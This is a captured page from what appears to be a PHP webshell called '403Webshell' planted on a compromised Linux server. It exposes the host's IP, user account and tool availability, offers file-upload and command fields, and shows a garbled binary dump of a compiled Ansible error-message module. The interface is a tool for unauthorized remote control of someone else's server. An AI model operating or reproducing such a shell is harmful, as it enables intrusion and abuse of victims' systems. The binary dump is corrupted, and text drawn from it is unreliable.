403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/errors/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/errors/__pycache__/yaml_strings.cpython-311.opt-1.pyc
�

���cf��J�ddlmZmZmZeZgd�ZdZdZdZ	dZ
dZdZd	Z
d
ZdZdS)
�)�absolute_import�division�print_function)�YAML_SYNTAX_ERROR�YAML_POSITION_DETAILS�YAML_COMMON_DICT_ERROR�#YAML_COMMON_UNQUOTED_VARIABLE_ERROR� YAML_COMMON_UNQUOTED_COLON_ERROR�'YAML_COMMON_PARTIALLY_QUOTED_LINE_ERROR�#YAML_COMMON_UNBALANCED_QUOTES_ERRORz%Syntax Error while loading YAML.
  %sz}The error appears to be in '%s': line %s, column %s, but may
be elsewhere in the file depending on the exact syntax problem.
a�This one looks easy to fix. YAML thought it was looking for the start of a
hash/dictionary and was confused to see a second "{". Most likely this was
meant to be an ansible template evaluation instead, so we have to give the
parser a small hint that we wanted a string instead. The solution here is to
just quote the entire value.

For instance, if the original line was:

    app_path: {{ base_path }}/foo

It should be written as:

    app_path: "{{ base_path }}/foo"
aWe could be wrong, but this one looks like it might be an issue with
missing quotes. Always quote template expression brackets when they
start a value. For instance:

    with_items:
      - {{ foo }}

Should be written as:

    with_items:
      - "{{ foo }}"
aThis one looks easy to fix. There seems to be an extra unquoted colon in the line
and this is confusing the parser. It was only expecting to find one free
colon. The solution is just add some quotes around the colon, or quote the
entire line after the first colon.

For instance, if the original line was:

    copy: src=file.txt dest=/path/filename:with_colon.txt

It can be written as:

    copy: src=file.txt dest='/path/filename:with_colon.txt'

Or:

    copy: 'src=file.txt dest=/path/filename:with_colon.txt'
a@This one looks easy to fix. It seems that there is a value started
with a quote, and the YAML parser is expecting to see the line ended
with the same kind of quote. For instance:

    when: "ok" in result.stdout

Could be written as:

   when: '"ok" in result.stdout'

Or equivalently:

   when: "'ok' in result.stdout"
aWe could be wrong, but this one looks like it might be an issue with
unbalanced quotes. If starting a value with a quote, make sure the
line ends with the same set of quotes. For instance this arbitrary
example:

    foo: "bad" "wolf"

Could be written as:

    foo: '"bad" "wolf"'
adThere appears to be a tab character at the start of the line.

YAML does not use tabs for formatting. Tabs should be replaced with spaces.

For example:
    - name: update tooling
      vars:
        version: 1.2.3
#    ^--- there is a tab there.

Should be written as:
    - name: update tooling
      vars:
        version: 1.2.3
# ^--- all spaces here.
zdThere appears to be both 'k=v' shorthand syntax and YAML in this task. Only one syntax may be used.
N)�
__future__rrr�type�
__metaclass__�__all__rrrr	r
rr�YAML_COMMON_LEADING_TAB_ERROR�YAML_AND_SHORTHAND_ERROR���@/usr/lib/python3.11/site-packages/ansible/errors/yaml_strings.py�<module>rs���&C�B�B�B�B�B�B�B�B�B��
���������
�� '�#�$� �&+�'� '�#�!��$���r

Youez - 2016 - github.com/yon3zu
LinuXploit